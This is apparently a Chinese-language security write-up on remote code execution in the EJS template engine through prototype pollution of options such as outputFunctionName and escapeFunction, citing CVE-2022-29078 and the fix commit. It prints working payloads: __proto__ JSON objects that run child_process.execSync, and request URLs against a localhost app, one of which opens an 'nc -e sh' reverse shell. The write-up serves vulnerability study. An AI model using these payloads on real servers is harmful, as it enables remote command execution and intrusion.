ejs模板rce的初探

渲染处rce

res.render('index');中的一系列通过变量(其他漏洞达成)带来的模板注入。

opts.outputFunctionName

ejs版本<3.17

如果可以通过原型链污染控制这个属性的值,就可以在渲染的模板中拼接任意命令。

image.png

在模板渲染过程中,这个属性一般是undefined。

注入payload如:

1
2
3
4
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2 = __append;'
// 拼接了命令语句

同理下面几个变量也都可以尝试,opts.localsNameopts.destructuredLocalsopts.filename

修复:添加了一个正则,对上面几个涉及的变量进行过滤

https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf

opts.escapeFunction

1
2
3
4
5
6
7
8
9
10
var escapeFn = opts.escapeFunction;

......

if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}

同样是被拼接进了要渲染的源码中,造成了rce的情况,为了达成条件判断也需要控制其他的变量来达到rce

1
2
3
4
5
6
7
8
9
{
"__proto__": {
"__proto__": {
"client": true,
"escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('dir');",
"compileDebug": true
}
}
}
1
2
3
4
5
6
7
8
9
10
{
"__proto__": {
"__proto__": {
"client": true,
"escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('dir');",
"compileDebug": true,
"debug": true
}
}
}

CVE-2022-29078

https://eslam.io/posts/ejs-server-side-template-injection-rce/

原型链污染+模板注入,用的是outputFunction,但其实原型链污染的操作比较重要,如下构造payload我们就能在使用ejs3.17一下的版本中通过原型链污染达到rce

1
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

同样可以通过另一个escapeFunction来进行rce,此方法在3.17可行!

1
http://localhost:3000/page?id=2&settings[view%20options][client]=ture&settings[view%20options][escapeFunction]=1;%20return%20global.process.mainModule.constructor._load(%27child_process%27).execSync(%27calc%27);&settings[view%20options][compileDebug]=ture&settings[view%20options][debug]=ture